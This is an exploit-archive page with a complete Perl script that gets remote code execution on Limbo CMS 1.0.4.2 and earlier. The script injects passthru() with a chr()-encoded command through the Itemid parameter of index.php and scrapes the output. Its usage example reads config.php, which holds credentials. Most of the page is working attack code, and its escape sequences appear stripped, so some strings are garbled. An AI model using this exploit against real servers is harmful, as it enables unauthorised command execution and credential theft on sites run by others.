[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Limbo CMS <= 1.0.4.2 (ItemID) Remote Code Execution Exploit
# Published : 2006-03-01
# Author : str0ke
# Previous Title : Aztek Forum 4.00 (XSS/SQL) Multiple Vulnerabilities (PoC)
# Next Title : phpRPC Library <= 0.7 XML Data Decoding Remote Code Execution


#!/usr/bin/perl
##
## Limbo CMS <= 1.0.4.2 (ItemID) Remote Code Execution Exploit
## Bug Discovered by: Coloss / Epsilon (advance1[at]gmail.com) http://coded.altervista.org/limbophp.pl
## /str0ke (milw0rm.com)

use LWP::Simple;

$serv     =  $ARGV[0];
$path     =  $ARGV[1];
$command  =  $ARGV[2];
$cmd      =  "echo start_er;".
             "$command;".
             "echo end_er";

my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));

sub usage
{
        print "Limbo CMS <= 1.0.4.2 (ItemID) Remote Code Execution Exploit /str0ke (milw0rm.com)";
        print "Usage: $0 www.example.com /directory/ "cat config.php"n";
        print "sever    -  URLn";
        print "path     -  path to limbon";
        print "command  -  command to executen";
        exit ();
}

sub exploit
{
        print qq(Limbo CMS <= 1.0.4.2 (ItemID) Remote Code Execution Exploitn/str0ke (milw0rm.com)nn);
        $URL = sprintf("http://%s%sindex.php?option=frontpage&Itemid=passthru($byte)",$serv,$path);
        my $content = get "$URL";
        if ($content =~ m/start_er(.*?)end_er/ms) {
                my $out = $1;
                $out =~ s/^s+|s+$//gs;
                if ($out) {
                        print "$outn";
                }
        }
}

if (@ARGV != 3){&usage;}else{&exploit;}

# www.Syue.com [2006-03-01]